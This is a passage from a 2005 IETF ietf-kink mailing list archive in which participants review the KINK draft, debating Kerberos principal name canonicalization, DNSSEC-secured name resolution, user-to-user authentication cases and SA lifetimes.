DNS CNAME record added for convenience at one site, e.g., "gftp" in the local domain points to ftp.gnu.org, but requires less typing. If you want to make Kerberos- authenticated connections to that host, either you need to canonicalize the hostname through secure DNS, which we can't just assume will happen, or the KDC needs to be able to tell the client the real realm and principal name to authenticate to. A key point in this example is that the software on ftp.gnu.org has *no knowledge* of the other name assigned by some random site. So there may be cases where kink/fqdn is not the real principal name used by the service. What if kink/foo.dom.ain@REALM is an alias for host/FOO$@REALM, or a little trickier, host/FOO$@REALM2? Non-PKINIT cases: Can we describe a use case or two that doesn't involve PKINIT but does do user-to-user authentication? They don't need to go into the document, but if we want to support them, we should make sure they don't have some ramifications we haven't allowed for. I've come up with some possibilities: 1) User walks up to a public workstation (hardware reasonably protected, software completely hackable) and boots it off a CD (bypassing the workstation's possibly-hacked software) which contains a NetBSD Live! (or Knoppix or whatever) image, including Kerberos and IPsec software. No secret key data here, but CA info and server names for the {company, university, secret government organization} are included in this customized version. The user types in "nikita@section1.gov" and a password, Kerberos tickets are acquired, and an IPsec session is established to the user's file/mail/ldap/ whatever server. 2) Some kind of multiuser variant of case #1, with different SAs for different users on the same client host, simultaneously. Gets into some of the channel binding stuff Nico Williams has been working on. Probably not something we need to dig into much, as long as KINK allows for multiple SAs. 3) Imagine two instances of case #2 (or #1), where users on the two systems want to communicate peer-to-peer, not via some central server. Now neither one has a kink/foo principal available. In this case, I think it's okay to assume that at least one of the users will have to type in the name of the other, or at least be prompted to select "accept". (Section 4.2.4 supports this.) Probably on both sides. 4) Case #3, but to make it worse, put name canonicalization in the picture, and the two users have exchanged NT-ENTERPRISE principal names alice@MS.COM and bob@MS.COM, rather than Alice_Jones@NTDEV.MS.COM and Robert_Smith@WORLD-DOMINATION-STRATEGIC- PLANNING.MS.COM, because the short names are what they log in with, use for email, etc. Can they establish an IPsec session between them, securely? Actually, this probably belongs on the krb-wg list; I'll bring it up there. I *think* the upshot of these is: - SHOULD for using "kink/fqdn" may be too strong. It's the name that should be started with (but canonicalization may change it) in the normal host-to-host case. When users are involved (or maybe services acting as users or clients), the users' principals would be the logical choice. - While canonicalization hasn't been published yet, the KINK draft should allow for it. In particular, when asking for a TGT for a particular principal, after we've tried non-u2u authentication and gotten referral data back and then been told that we have to do u2u, the canonical name is the one we should be asking for. I haven't figured out good wording yet that allows for canonicalization without mentioning it explicitly, but I don't think we want to wait for referrals to get published first. Relatively minor stuff: - Introduction: Therefore, public key operations (if any) are limited and are amortized over the lifetime of the initial authentication operation to the KDC. For example, a client may use a single public key exchange with the KDC to efficiently establish multiple SAs with many other servers in the realm of the KDC. I would argue that the "initial authentication operation to the KDC" is the AS exchange which typically lasts less than a second. The public key ops are amortized over the life of the acquired credentials. The reason is that since the keys are stored in the KDC, the number of principal keys is O(n) rather than O(n*m), where "n" is the number of clients and "m" is the number of servers. It would be O(n+m) instead of O(n); I'm not an expert on the IPsec world, but I wouldn't be so quick to assert that n always dwarfs m. Kerberos, like any internet protocol, does have its own security considerations. You can find them discussed in [KERBEROS]. That's security-considerations material, not introductory material. In fact, I think the security considerations section already talks about it. - Section 2: "KINK directly reuses Quick Mode payloads defined in the section 5.5 of [IKE], with some minor changes and omissions." Drop "the". - Section 3.6: One case that might be worth mentioning is when the user's tickets are going to expire at the end of the "hard lifetime by time" of the SA. In that case, unless there's some other reason (lifetime by byte count?), there's no purpose in attempting to rekey, because the new SA will have the same expiration time. (This sort of applies also in renewable-TGT or PKINIT or keytab cases when the KDC isn't available to issue a new TGT, but that could be seen as starting the rekey process and then failing.) In some environments, it may make sense to prompt the user to re-enter their password, but until the new tickets are actually acquired (or the byte count gets high enough), it makes no sense to continue. - Sections 4.2.1, 4.2.2: The descriptions of EPOCH use the phrase "across different restarts". Different from what? I think "across restarts" is better. - Section 11: "The KINK's use of Kerberos presents a couple of considerations." Drop "the". - Pages should end with a formfeed (control-L), not a caret and an "L". RFC Editor can fix that up, but if there's need for a -10 and it's not too hard (perhaps with post-processing), it'd be nice to fix it. From owner-ietf-kink Mon Sep 12 22:56:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8D5uiJ9058463; Mon, 12 Sep 2005 22:56:44 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8D5uick058462; Mon, 12 Sep 2005 22:56:44 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (220x218x5x242.ap220.ftth.ucom.ne.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8D5ugLf058456 for ; Mon, 12 Sep 2005 22:56:43 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 728CB5 for ; Tue, 13 Sep 2005 14:56:41 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2MXS0n; Tue, 13 Sep 2005 14:56:41 +0900 (JST) Date: Tue, 13 Sep 2005 14:56:45 +0900 Message-ID: <20050913145645MH%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Name canon/secure name service (Re: kink-09) In-Reply-To: References: User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Thank you very much for the review. At Wed, 7 Sep 2005 15:08:29 -0400, Ken Raeburn wrote: > > Name canonicalization: > > Section 4.2.1 says that the principal name that SHOULD be used for > the service is kink/fqdn@REALM, with fqdn "obtained from some name > services". (It also says, "but see the Security Considerations > section"; that section does touch on the binding between principal > names and SA selectors, but it's not at all clear that that's what > this is referring to.) > > An insecure name service must not be consulted in determining the > FQDN; otherwise, a spoofed DNS (or whatever) reply could tell the > client, "that's an alias for server-1.black-hats.con", and the client > would happily authenticate to that server. Yes, "but see the Security Considerations section" is referring to the first paragraph of the section. - An insecure name service must not be consulted, without doubt. - For name canonicalization (CNAME resolution), DNSSEC should be "secure". - For IP address resolution (binding hostname and selector), DNSSEC may not always be enough. e.g., If somehost.good.example.com resolves to 10.0.0.1 and anotherhost.bad.example.com also resolves to 10.0.0.1, which do you believe? > In the Kerberos working group, there's a draft in the works to > address this problem, draft-ietf-krb-wg-kerberos-referrals-06.txt. > However, there may be some less than wonderful interactions. For > example, you make a request for a service name which may be an alias, > and (if it's an alias in the realm of the KDC you're talking to, and > if you requested canonicalization) you get back a ticket either for > the correct service principal name, or (if the canonical name is not > in the same realm as the alias) for a remote-realm TGS. But the > current draft is a bit fuzzy in the user-to-user case. > > The AP-REQ MUST request mutual authentication. The principal name > that the KINK service SHOULD use is "kink/fqdn@REALM", where "kink" > is for the KINK IPsec service, "fqdn" is the fully qualified domain > name of the service host, and "REALM" is the Kerberos realm of the > service. A principal name is case sensitive, and "fqdn" part > MUST be > lower case as described in [KERBEROS]. This document does not > specify how to generate the principal name; complete principal names > are stored in local policy, hostnames are obtained from some name > services, etc; but see the Security Considerations section. > > We've been considering some cases where aliases are entered in one > realm, pointing to a principal in another realm, when there is no > overlap between the administration of the two realms. The type of > example I keep bringing up is a DNS CNAME record added for > convenience at one site, e.g., "gftp" in the local domain points to > ftp.gnu.org, but requires less typing. If you want to make Kerberos- > authenticated connections to that host, either you need to > canonicalize the hostname through secure DNS, which we can't just > assume will happen, or the KDC needs to be able to tell the client > the real realm and principal name to authenticate to. A key point in > this example is that the software on ftp.gnu.org has *no knowledge* > of the other name assigned by some random site. > > So there may be cases where kink/fqdn is not the real principal name > used by the service. What if kink/foo.dom.ain@REALM is an alias for > host/FOO$@REALM, or a little trickier, host/FOO$@REALM2? You seems to have interpreted "obtained from some name services" as "canonicalizing a name". My intention was "getting an FQDN from an IP address"; of course this isn't referring insecure DNS reverse resolution. There was no intention to forbid names that are not beginning with "kink/". # BTW, how other protocols define their naming convention? # (e.g. "host/", "ftp/") > Non-PKINIT cases: > > Can we describe a use case or two that doesn't involve PKINIT but > does do user-to-user authentication? They don't need to go into the > document, but if we want to support them, we should make sure they > don't have some ramifications we haven't allowed for. > > I've come up with some possibilities: > > 1) User walks up to a public workstation (hardware reasonably > protected, software completely hackable) and boots it off a CD > (bypassing the workstation's possibly-hacked software) which contains > a NetBSD Live! (or Knoppix or whatever) image, including Kerberos and > IPsec software. No secret key data here, but CA info and server > names for the {company, university, secret government organization} > are included in this customized version. The user types in > "nikita@section1.gov" and a password, Kerberos tickets are acquired, > and an IPsec session is established to the user's file/mail/ldap/ > whatever server. > > 2) Some kind of multiuser variant of case #1, with different SAs for > different users on the same client host, simultaneously. Gets into > some of the channel binding stuff Nico Williams has been working on. > Probably not something we need to dig into much, as long as KINK > allows for multiple SAs. > > 3) Imagine two instances of case #2 (or #1), where users on the two > systems want to communicate peer-to-peer, not via some central > server. Now neither one has a kink/foo principal available. In this > case, I think it's okay to assume that at least one of the users will > have to type in the name of the other, or at least be prompted to > select "accept". (Section 4.2.4 supports this.) Probably on both > sides. > > 4) Case #3, but to make it worse, put name canonicalization in the > picture, and the two users have exchanged NT-ENTERPRISE principal > names alice@MS.COM and bob@MS.COM, rather than > Alice_Jones@NTDEV.MS.COM and Robert_Smith@WORLD-DOMINATION-STRATEGIC- > PLANNING.MS.COM, because the short names are what they log in with, > use for email, etc. Can they establish an IPsec session between > them, securely? Actually, this probably belongs on the krb-wg list; > I'll bring it up there. > > > I *think* the upshot of these is: > - SHOULD for using "kink/fqdn" may be too strong. It's the name > that should be started with (but canonicalization may change it) in > the normal host-to-host case. When users are involved (or maybe > services acting as users or clients), the users' principals would be > the logical choice. To meet above comments, how about this for section 4.2.1: This document does not specify how to generate the principal name. That is, complete principal names may be stored in local policy, FQDNs may be converted to principal names, IP addresses may be converted to principal names by secure name services, etc; but see the first paragraph of the Security Considerations section. If the peer's principal name for the KINK service is generated from an FQDN, the principal name, which the initiator starts from, will be "kink/fqdn@REALM"; where "kink" is a literal string for the KINK IPsec service, "fqdn" is the fully qualified domain name of the service host, and "REALM" is the Kerberos realm of the service. A principal name is case sensitive, and "fqdn" part MUST be lower case as described in [KERBEROS]. And the first paragraph of Security Consideration: The principal names are the identities of the KINK services, but the traffic protected by SAs are identified by DOI specific selectors (IP addresses, port numbers, etc). This may lead to a breakaway of SA-protected data from authentication. For example, if two different host claims that they have the same IP address, it may be impossible to predict which principal's key protect the data. Thus, an implementation must take care for the binding between principal names and the SA selectors. > - While canonicalization hasn't been published yet, the KINK draft > should allow for it. In particular, when asking for a TGT for a > particular principal, after we've tried non-u2u authentication and > gotten referral data back and then been told that we have to do u2u, > the canonical name is the one we should be asking for. I haven't > figured out good wording yet that allows for canonicalization without > mentioning it explicitly, but I don't think we want to wait for > referrals to get published first. Does anyone have any idea on this? Thanks, -- KAMADA Ken'ichi From owner-ietf-kink Tue Sep 13 01:10:00 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8D8A0ci072146; Tue, 13 Sep 2005 01:10:00 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8D8A05G072145; Tue, 13 Sep 2005 01:10:00 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8D89wsT072137 for ; Tue, 13 Sep 2005 01:09:58 -0700 (PDT) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j8D89pSw023613; Tue, 13 Sep 2005 04:09:51 -0400 (EDT) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.1/8.12.4) with ESMTP id j8D89jO7024411 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Tue, 13 Sep 2005 04:09:48 -0400 (EDT) In-Reply-To: <20050913145645MH%kamada@nanohz.org> References: <20050913145645MH%kamada@nanohz.org> Mime-Version: 1.0 (Apple Message framework v734) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <3C35304E-0AFE-4D06-846A-01E423D583D4@mit.edu> Cc: ietf-kink@vpnc.org Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: Name canon/secure name service (Re: kink-09) Date: Tue, 13 Sep 2005 04:09:44 -0400 To: "KAMADA Ken'ichi" X-Mailer: Apple Mail (2.734) X-Spam-Score: -2.099 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Sep 13, 2005, at 01:56, KAMADA Ken'ichi wrote: > - For IP address resolution (binding hostname and selector), > DNSSEC may not always be enough. > e.g., If somehost.good.example.com resolves to 10.0.0.1 and > anotherhost.bad.example.com also resolves to 10.0.0.1, > which do you believe? If you're doing host->address mapping, then DNSSEC for the domain you're querying should be fine. If you're doing address->host mapping, then the mappings in {good,bad}.example.com don't matter, what matters is DNSSEC protection for 1.0.0.10.in-addr.arpa. >> So there may be cases where kink/fqdn is not the real principal name >> used by the service. What if kink/foo.dom.ain@REALM is an alias for >> host/FOO$@REALM, or a little trickier, host/FOO$@REALM2? > > You seems to have interpreted "obtained from some name services" as > "canonicalizing a name". My intention was "getting an FQDN from an IP > address"; of course this isn't referring insecure DNS reverse > resolution. There was no intention to forbid names that are not > beginning with "kink/". Sorry if I was reading this incorrectly. > # BTW, how other protocols define their naming convention? > # (e.g. "host/", "ftp/") They do host/fqdn@REALM, but with referrals in place, it'll be okay if these names are just aliases. None of the current protocols (that I'm aware of) for these service names do user-to-user, so there's no request for a TGT using a principal name that the KDC wouldn't get the chance to alter. > To meet above comments, how about this for section 4.2.1: That looks pretty good. >> - While canonicalization hasn't been published yet, the KINK draft >> should allow for it. In particular, when asking for a TGT for a >> particular principal, after we've tried non-u2u authentication and >> gotten referral data back and then been told that we have to do u2u, >> the canonical name is the one we should be asking for. I haven't >> figured out good wording yet that allows for canonicalization without >> mentioning it explicitly, but I don't think we want to wait for >> referrals to get published first. >> > > Does anyone have any idea on this? Not yet. :-( It may be enough to use the text you suggested in 4.2.1 as the way of initially generating the principal name, and have something in the referrals draft describe how changes to the name by the KDC should be handled in cases like this... Ken From owner-ietf-kink Tue Sep 13 03:13:58 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8DADwT1086673; Tue, 13 Sep 2005 03:13:58 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8DADwrv086672; Tue, 13 Sep 2005 03:13:58 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (220x218x5x242.ap220.ftth.ucom.ne.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8DADvnM086661 for ; Tue, 13 Sep 2005 03:13:58 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 65FE95 for ; Tue, 13 Sep 2005 19:13:56 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0HAUqs; Tue, 13 Sep 2005 19:13:56 +0900 (JST) Date: Tue, 13 Sep 2005 19:14:00 +0900 Message-ID: <20050913191400MV%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Name canon/secure name service (Re: kink-09) In-Reply-To: <3C35304E-0AFE-4D06-846A-01E423D583D4@mit.edu> References: <20050913145645MH%kamada@nanohz.org> <3C35304E-0AFE-4D06-846A-01E423D583D4@mit.edu> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 13 Sep 2005 04:09:44 -0400, Ken Raeburn wrote: > > > - For IP address resolution (binding hostname and selector), > > DNSSEC may not always be enough. > > e.g., If somehost.good.example.com resolves to 10.0.0.1 and > > anotherhost.bad.example.com also resolves to 10.0.0.1, > > which do you believe? > > If you're doing host->address mapping, then DNSSEC for the domain > you're querying should be fine. If you're doing address->host > mapping, then the mappings in {good,bad}.example.com don't matter, > what matters is DNSSEC protection for 1.0.0.10.in-addr.arpa. host->address was in my mind. Suppose an environment where the granularity of SA or principal is hosts. Two users are on sharedhost.example.com, which has 10.0.0.9. They wanted to be protected by KINK and typed somehost.good.example.com and anotherhost.bad.example.com respectively. And if, both hostnames were resolved to 10.0.0.1... Then, what the KINK daemon on the sharedhost.example.com should do? Which key should be used to protect the SAs between 10.0.0.9 and 10.0.0.1? I don't think this is a KINK/Kerberos specific matter, though. > >> So there may be cases where kink/fqdn is not the real principal name > >> used by the service. What if kink/foo.dom.ain@REALM is an alias for > >> host/FOO$@REALM, or a little trickier, host/FOO$@REALM2? > > > > You seems to have interpreted "obtained from some name services" as > > "canonicalizing a name". My intention was "getting an FQDN from an IP > > address"; of course this isn't referring insecure DNS reverse > > resolution. There was no intention to forbid names that are not > > beginning with "kink/". > > Sorry if I was reading this incorrectly. No, that was a problem of my writing, sorry. -- KAMADA Ken'ichi From owner-ietf-kink Tue Sep 13 11:03:05 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8DI35wN030942; Tue, 13 Sep 2005 11:03:05 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8DI35ks030941; Tue, 13 Sep 2005 11:03:05 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8DI33Bh030934 for ; Tue, 13 Sep 2005 11:03:04 -0700 (PDT) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j8DI2xt4011164; Tue, 13 Sep 2005 14:02:59 -0400 (EDT) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.1/8.12.4) with ESMTP id j8DI2oOM007760 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Tue, 13 Sep 2005 14:02:52 -0400 (EDT) In-Reply-To: <20050913191400MV%kamada@nanohz.org> References: <20050913145645MH%kamada@nanohz.org> <3C35304E-0AFE-4D06-846A-01E423D583D4@mit.edu> <20050913191400MV%kamada@nanohz.org> Mime-Version: 1.0 (Apple Message framework v734) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Cc: ietf-kink@vpnc.org Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: Name canon/secure name service (Re: kink-09) Date: Tue, 13 Sep 2005 14:02:41 -0400 To: "KAMADA Ken'ichi" X-Mailer: Apple Mail (2.734) X-Spam-Score: -2.099 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Sep 13, 2005, at 06:14, KAMADA Ken'ichi wrote: > host->address was in my mind. > Suppose an environment where the granularity of SA or principal > is hosts. > Two users are on sharedhost.example.com, which has 10.0.0.9. > They wanted to be protected by KINK and typed > somehost.good.example.com > and anotherhost.bad.example.com respectively. > And if, both hostnames were resolved to 10.0.0.1... > > Then, what the KINK daemon on the sharedhost.example.com should do? > Which key should be used to protect the SAs between 10.0.0.9 and > 10.0.0.1? Ah, I see. Interesting... I'm not sure what to do about this case. > I don't think this is a KINK/Kerberos specific matter, though. No, it isn't. How would a non-Kerberos IPsec deployment deal with such a case? Ken From owner-ietf-kink Tue Sep 13 18:24:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8E1OGZY071731; Tue, 13 Sep 2005 18:24:16 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8E1OGWC071730; Tue, 13 Sep 2005 18:24:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (220x218x5x242.ap220.ftth.ucom.ne.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8E1OF7a071721 for ; Tue, 13 Sep 2005 18:24:15 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id AA83D5 for ; Wed, 14 Sep 2005 10:24:13 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3tA2qR; Wed, 14 Sep 2005 10:24:13 +0900 (JST) Date: Wed, 14 Sep 2005 10:24:20 +0900 Message-ID: <20050914102420MN%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Ticket and SA lifetime (Re: kink-09) In-Reply-To: References: User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Wed, 7 Sep 2005 15:08:29 -0400, Ken Raeburn wrote: > > Relatively minor stuff: > - Section 3.6: One case that might be worth mentioning is when the > user's tickets are going to expire at the end of the "hard lifetime > by time" of the SA. In that case, unless there's some other reason > (lifetime by byte count?), there's no purpose in attempting to rekey, > because the new SA will have the same expiration time. (This sort of > applies also in renewable-TGT or PKINIT or keytab cases when the KDC > isn't available to issue a new TGT, but that could be seen as > starting the rekey process and then failing.) In some environments, > it may make sense to prompt the user to re-enter their password, but > until the new tickets are actually acquired (or the byte count gets > high enough), it makes no sense to continue. Do you assume that the SA lifetime is truncated to the ticket endtime? Is the lifetime of application session limited to the service ticket in usual Kerberized applications? I.e., if I (kerberized-)telnet to a remote host with a service ticket, what will happen when the ticket expires? Is the telnet session disconnected? # I can't find something on this in RFC 4120 or RFC 2942. Sidenote: at least when Key Exchange payloads are used, a ticket and an SA will have independent lifetimes. -- KAMADA Ken'ichi From owner-ietf-kink Tue Sep 13 18:57:49 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8E1vncp074439; Tue, 13 Sep 2005 18:57:49 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8E1vnEs074438; Tue, 13 Sep 2005 18:57:49 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (220x218x5x242.ap220.ftth.ucom.ne.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8E1vmaN074432 for ; Tue, 13 Sep 2005 18:57:49 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 0A9B85 for ; Wed, 14 Sep 2005 10:57:48 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 13zRkS; Wed, 14 Sep 2005 10:57:48 +0900 (JST) Date: Wed, 14 Sep 2005 10:57:55 +0900 Message-ID: <20050914105755MW%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Name canon/secure name service (Re: kink-09) In-Reply-To: References: <20050913145645MH%kamada@nanohz.org> <3C35304E-0AFE-4D06-846A-01E423D583D4@mit.edu> <20050913191400MV%kamada@nanohz.org> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 13 Sep 2005 14:02:41 -0400, Ken Raeburn wrote: > > > I don't think this is a KINK/Kerberos specific matter, though. > > No, it isn't. How would a non-Kerberos IPsec deployment deal with > such a case? In IKEv1 implementations for example, I believe they have the mapping between phase1 IDs and selectors in their (local) configuration. But I don't know how they manage about dynamic case, say road-worrier. -- KAMADA Ken'ichi From owner-ietf-kink Fri Sep 23 07:50:13 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8NEoDkC062767; Fri, 23 Sep 2005 07:50:13 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8NEoDv0062766; Fri, 23 Sep 2005 07:50:13 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cliodev.pgp.com (me@CLIODEV.IHTFP.ORG [204.107.200.20]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8NEoCvN062757 for ; Fri, 23 Sep 2005 07:50:12 -0700 (PDT) (envelope-from warlord@MIT.EDU) Received: from cliodev.pgp.com (cliodev.pgp.com [127.0.0.1]) by cliodev.pgp.com (8.13.1/8.13.1) with ESMTP id j8NEo8Wg015450; Fri, 23 Sep 2005 10:50:08 -0400 Received: (from warlord@localhost) by cliodev.pgp.com (8.13.1/8.13.1/Submit) id j8NEo2Rv015447; Fri, 23 Sep 2005 10:50:02 -0400 X-Authentication-Warning: cliodev.pgp.com: warlord set sender to warlord@MIT.EDU using -f From: Derek Atkins To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: Name canon/secure name service (Re: kink-09) References: <20050913145645MH%kamada@nanohz.org> <3C35304E-0AFE-4D06-846A-01E423D583D4@mit.edu> <20050913191400MV%kamada@nanohz.org> Date: Fri, 23 Sep 2005 10:50:02 -0400 In-Reply-To: <20050913191400MV%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Tue, 13 Sep 2005 19:14:00 +0900") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: So have we come to consensus on how to handle these issues? If there was a misunderstanding from the reading of the text, then we should add some additional text to help ensure that the same misunderstanding does not occur again. We should rev the draft one last time with these clarifications and then I'll pass the draft up to the IESG. -derek "KAMADA Ken'ichi" writes: > At Tue, 13 Sep 2005 04:09:44 -0400, > Ken Raeburn wrote: >> >> > - For IP address resolution (binding hostname and selector), >> > DNSSEC may not always be enough. >> > e.g., If somehost.good.example.com resolves to 10.0.0.1 and >> > anotherhost.bad.example.com also resolves to 10.0.0.1, >> > which do you believe? >> >> If you're doing host->address mapping, then DNSSEC for the domain >> you're querying should be fine. If you're doing address->host >> mapping, then the mappings in {good,bad}.example.com don't matter, >> what matters is DNSSEC protection for 1.0.0.10.in-addr.arpa. > > host->address was in my mind. > Suppose an environment where the granularity of SA or principal > is hosts. > Two users are on sharedhost.example.com, which has 10.0.0.9. > They wanted to be protected by KINK and typed somehost.good.example.com > and anotherhost.bad.example.com respectively. > And if, both hostnames were resolved to 10.0.0.1... > > Then, what the KINK daemon on the sharedhost.example.com should do? > Which key should be used to protect the SAs between 10.0.0.9 and > 10.0.0.1? > > I don't think this is a 